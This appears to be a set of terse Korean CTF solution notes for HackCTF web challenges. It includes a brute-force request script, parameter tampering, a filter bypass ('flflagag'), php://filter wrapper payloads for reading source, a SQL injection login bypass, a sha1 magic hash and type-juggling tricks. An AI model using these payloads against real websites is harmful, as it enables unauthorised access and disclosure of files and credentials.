robots.txt를 확인하자.
?id=5
button=flag로 value 값을 수정하면 된다.
코드 짜서 다 하다보면 나온다.
for i in range(1000,10000):
url = f"http://ctf.j0n9hyun.xyz:2025/?page={i}"
res=requests.get(url=url, headers=headers, verify=False)
if res.text.find("HackCTF") != -1:
print("find!", i, res.text)
break
extract
취약점.
filename=flag.txt가 되도록 변수를 정해주자.
풀이 : ?filename=flag.txt&guess=Nah...
아래와 같은 필터링을 걸고 있다(게싱...)
$command = $_GET['command'];
$command = preg_replace("/flag/" , "" , $command);
command = flflagag.php
를 입력하자.
php wrapper를 이용할 수도 있다.
php://filter/convert.base64-encode/resource=flflagag.php
php://filter/read=string.toupper/resource=flflagag.php
id = admin'||1-- g
pw = 아무거나
sha1 magic hash : 10932435112
time = 0.6e7
sleep에서 int로 타입 캐스팅하는 과정에서 소숫점 이하를 버린다고 하는데, 실제 실험해볼 때에는 그렇지 않다... 다들 어떻게 그렇게 쉽게 이해하는건지.
추가적인 연구가 필요해 보인다. 일단 패스
?text[]=flag
힌트가 있어서 풀 수 있었던 문제